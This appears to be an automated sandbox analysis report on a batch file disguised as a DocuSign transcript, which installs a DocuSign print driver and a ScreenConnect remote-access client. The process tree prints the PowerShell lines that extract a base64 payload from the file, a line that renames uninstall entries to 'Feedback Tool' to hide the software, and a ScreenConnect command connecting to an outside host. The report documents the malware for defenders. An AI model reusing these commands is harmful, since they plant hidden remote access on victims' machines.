Overview

overview

8

Static

static

1

Morpho_Tra...gn.bat

windows10-2004-x64

8

Morpho_Tra...gn.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 18:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Morpho_Transcript-Docusign.bat
  • Size 11.5MB
  • Sample260910-wz4fbaeb65
  • SHA256 678c33f1b533441e2f8511894a29820eecd1bfac95ca18aac34235ca754ccf39
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarerevoked_codesignspyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 43 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4412
    • C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\elevate_27309.vbs"
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat" --elevated
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat'); $name=[Regex]::Escape($env:V824CE8); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){{exit 2}}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:VC68968,[Convert]::FromBase64String($data))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:52
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat'); $name=[Regex]::Escape($env:V824CE8); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){{exit 2}}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:VC68968,[Convert]::FromBase64String($data))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat'); $name=[Regex]::Escape($env:V824CE8); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){{exit 2}}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:VC68968,[Convert]::FromBase64String($data))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1288
        • C:\Windows\system32\mshta.exe
          mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.hta"
          4⤵
            PID:4080
          • C:\Windows\system32\msiexec.exe
            msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.msi" /quiet /norestart
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2248
          • C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.exe
            "C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.exe" /S
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3692
            • C:\Windows\Temp\{84EE344C-5FCE-454F-9049-431342DD5210}\.cr\setup.exe
              "C:\Windows\Temp\{84EE344C-5FCE-454F-9049-431342DD5210}\.cr\setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.exe" -burn.filehandle.attached=804 -burn.filehandle.self=800 /S
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5148
              • C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.be\Docusign Print Driver x64.exe
                "C:\Windows\Temp\{C48A4768-C58F-4388-8E34-EBEC7821EA79}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{0C763426-583F-4807-8DA3-1474ABE35361} {1FB9FF7D-8ADA-4832-8B26-C10E5A4D9AFC} 5148
                6⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:3880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$roots=@('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'); Get-ItemProperty -Path $roots -ErrorAction SilentlyContinue | Where-Object {$_.DisplayName -and ($_.DisplayName -match '(?i)(DocuSign|ScreenConnect)')} | ForEach-Object {Set-ItemProperty -LiteralPath $_.PSPath -Name DisplayName -Value 'Feedback Tool'; Set-ItemProperty -LiteralPath $_.PSPath -Name Publisher -Value 'Feedback Tool'}"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            PID:4184
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im mshta.exe
            4⤵
            • Kills process with taskkill
            PID:4416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Morpho_Transcript-Docusign.bat'); $name=[Regex]::Escape($env:V824CE8); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){{exit 2}}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:VC68968,[Convert]::FromBase64String($data))"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3372
          • C:\Windows\system32\mshta.exe
            mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\done.hta"
            4⤵
              PID:2384
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • Boot or Logon Autostart Execution: Authentication Package
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3308
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding A85249F080EB3A795521C6BE4C07FC62
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3564
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI8FF2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750937 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
            3⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:3928
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 6B6735EBB7B73B3B3F5BA599D2490573 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:5672
        • C:\Windows\System32\MsiExec.exe
          C:\Windows\System32\MsiExec.exe -Embedding 347CCFDB9EEC0266E160ECBC76276A63
          2⤵
          • Loads dropped DLL
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\system32\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI16D9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240785171 21 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
            3⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            PID:1232
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding A31F15B7C23E73DF723F3EBAE50543FE
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:2636
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding D8DCA982CA9B9E2B475F3FA57D502EAD E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:5280
        • C:\Windows\System32\MsiExec.exe
          C:\Windows\System32\MsiExec.exe -Embedding 54F722DB375AEAF8A5B60AC33E707D3A E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Checks SCSI registry key(s)
          • Modifies data under HKEY_USERS
          • Suspicious use of SetWindowsHookEx
          PID:5024
        • C:\Windows\system32\NET.exe
          NET STOP SPOOLER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2936
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 STOP SPOOLER
            3⤵
              PID:4804
          • C:\Windows\system32\NET.exe
            NET START SPOOLER
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2648
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 START SPOOLER
              3⤵
                PID:2556
            • C:\Windows\system32\rundll32.exe
              rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
              2⤵
                PID:3228
              • C:\Windows\system32\rundll32.exe
                rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
                2⤵
                • Drops file in Windows directory
                PID:3208
            • C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.ClientService.exe
              "C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=allphanit.com&p=8041&s=95c9c424-4d3e-412e-995e-d7b9d7072d34&k=BgIAAACkAABSU0ExAAgAAAEAAQChYGJ5gyNGS41K0TSFfL6uDiGjNjgKIsRyBRNi3ixla52M2c2zQuDxnBpOsg3fORYdFg0aYAiJsrC2AzhTywMniZ1ThoMa9gd%2bUMDBVlZGZIlkBojeZVjJDqcUnT9nqN4Qd0oOerGQahcvUWuKHoNbAVcJa09%2f%2bXVMly4XLvX5W%2bP6Q2qk2KhYSu3jpjPHMzCARm2S%2bKDMiwyZxn%2f82Vs8DXW1kHHZLHpAD3zvOH3KpLkuzARrSGKoeTc%2b15HRhhlqRNIgoBjgvr0exVldK2yDt8gTSgBeLoTMqGX%2fK9PLF1EkMgybbTDRQJ9XelXkRtfDdctAJ0XisaQQnGl44N%2fM"
              1⤵
              • Sets service image path in registry
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2040
              • C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe
                "C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe" "RunRole" "6cf827c7-5b72-4995-bda7-7aa60f594aaa" "User"
                2⤵
                • Executes dropped EXE
                PID:5440
              • C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe
                "C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe" "RunRole" "a679e4ea-9bec-4a91-a117-f747984807de" "System"
                2⤵
                • Executes dropped EXE
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                PID:2972
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Checks SCSI registry key(s)
              PID:1372
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:2980
              • C:\Windows\system32\srtasks.exe
                C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                1⤵
                  PID:2560
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
                  1⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:5392
                  • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                    "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260910192410.log"
                    2⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:5672
                    • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                      "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260910192410.log"
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:4044
                      • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                        "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{A8D5B519-6F19-49FF-98F4-F8D2586C5A53} {54BD6F0B-AD2C-4310-8C16-B64AF0E685A6} 4044
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:5576
                • C:\Windows\system32\DrvInst.exe
                  DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000180" "WinSta0\Default" "000000000000017C" "208" "C:\Program Files\Docusign\Print Driver\Driver"
                  1⤵
                  • Manipulates Digital Signatures
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Checks SCSI registry key(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3008
                  • C:\Windows\system32\rundll32.exe
                    rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{FE3040E5-541C-4D27-A423-566DCF0CE8AB} Global\{DFF51B61-5140-4BA9-8C92-345D2F9F22AB} C:\Windows\System32\DriverStore\Temp\{037927fd-bd02-a241-ab8a-92a66b93db7a}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{037927fd-bd02-a241-ab8a-92a66b93db7a}\DocuSignPrintDriver.cat
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:1980
                • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
                  C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
                  1⤵
                  • Executes dropped EXE
                  PID:4288
                • C:\Windows\System32\spoolsv.exe
                  C:\Windows\System32\spoolsv.exe
                  1⤵
                  • Boot or Logon Autostart Execution: Port Monitors
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Checks SCSI registry key(s)
                  • Modifies data under HKEY_USERS
                  PID:3096
                • C:\Windows\system32\DrvInst.exe
                  DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "000000000000017C" "WinSta0\Default" "000000000000018C" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
                  1⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  PID:2664

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      3
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Visual Basic

                      1
                      T1059.005

                      Windows Command Shell

                      1
                      T1059.003

                      Persistence

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      Authentication Package

                      1
                      T1547.002

                      Port Monitors

                      1
                      T1547.010

                      Registry Run Keys / Startup Folder

                      2
                      T1547.001

                      Create or Modify System Process

                      1
                      T1543

                      Windows Service

                      1
                      T1543.003

                      Event Triggered Execution

                      1
                      T1546

                      Component Object Model Hijacking

                      1
                      T1546.015

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Ignore Process Interrupts

                      1
                      T1564.011

                      Modify Registry

                      3
                      T1112

                      Subvert Trust Controls

                      1
                      T1553

                      SIP and Trust Provider Hijacking

                      1
                      T1553.003

                      Credential Access

                      Discovery

                      Peripheral Device Discovery

                      2
                      T1120

                      Query Registry

                      5
                      T1012

                      System Information Discovery

                      4
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      e598c0d.rbs
                      • Path C:\Config.Msi\e598c0d.rbs
                      • Size 214KB
                      • SHA256 416852c38ed7995884e23f28e488f136054dcbb23f818da14fdde7fbe9b4d1a5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      e598c12.rbs
                      • Path C:\Config.Msi\e598c12.rbs
                      • Size 710KB
                      • SHA256 a2b46ddef5f3990911087c05baaf20518a070bb3a423275ca7ab7d3f9209f398
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.Override.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\Client.Override.en-US.resources
                      • Size 297B
                      • SHA256 faa825cd450250b700750462391bda361a4b28f12c69f82edbd0ef2e22172969
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      Client.Override.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\Client.Override.resources
                      • Size 54KB
                      • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.en-US.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\Client.en-US.resources
                      • Size 47KB
                      • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Client.resources
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\Client.resources
                      • Size 26KB
                      • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Client.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.Client.dll
                      • Size 192KB
                      • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.ClientService.dll
                      • Size 67KB
                      • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.ClientService.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.ClientService.exe
                      • Size 93KB
                      • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsAuthenticationPackage.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsAuthenticationPackage.dll
                      • Size 254KB
                      • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe
                      • Size 595KB
                      • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.WindowsClient.exe.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsClient.exe.config
                      • Size 266B
                      • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      ScreenConnect.WindowsCredentialProvider.dll
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\ScreenConnect.WindowsCredentialProvider.dll
                      • Size 837KB
                      • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      app.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\app.config
                      • Size 2KB
                      • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      system.config
                      • Path C:\Program Files (x86)\ScreenConnect Client (67965d5c80b0d5e5)\system.config
                      • Size 937B
                      • SHA256 a276ca802f896662e79ba62b52ab2f22c3808f92e547533d29cf624c598620cf
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      DocuSign.PrintDriverApplication.exe
                      • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                      • Size 552KB
                      • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 c1351c48803cd0e93a9d715bc584f175ed28504acf8f893c87128af5164a896c
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.exe
                      • Size 5.4MB
                      • SHA256 7ad243cd358d916e029ba8ff9a616dfdcab29b594a9ebf08a66a1c4bd63fb7e2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.hta
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.hta
                      • Size 12KB
                      • SHA256 fa27b7279738ed2b1e3c80f6caa58e88bb7c3366aafc62e881e4551066022ba6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.msi
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_27313\setup.msi
                      • Size 3.1MB
                      • SHA256 d442c6699b7b34fe14457e5084093b82e809b73d5a8077c277e748f296d7c0dd
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __PSScriptPolicyTest_4crfcok0.451.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4crfcok0.451.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      elevate_27309.vbs
                      • Path C:\Users\Admin\AppData\Local\Temp\elevate_27309.vbs
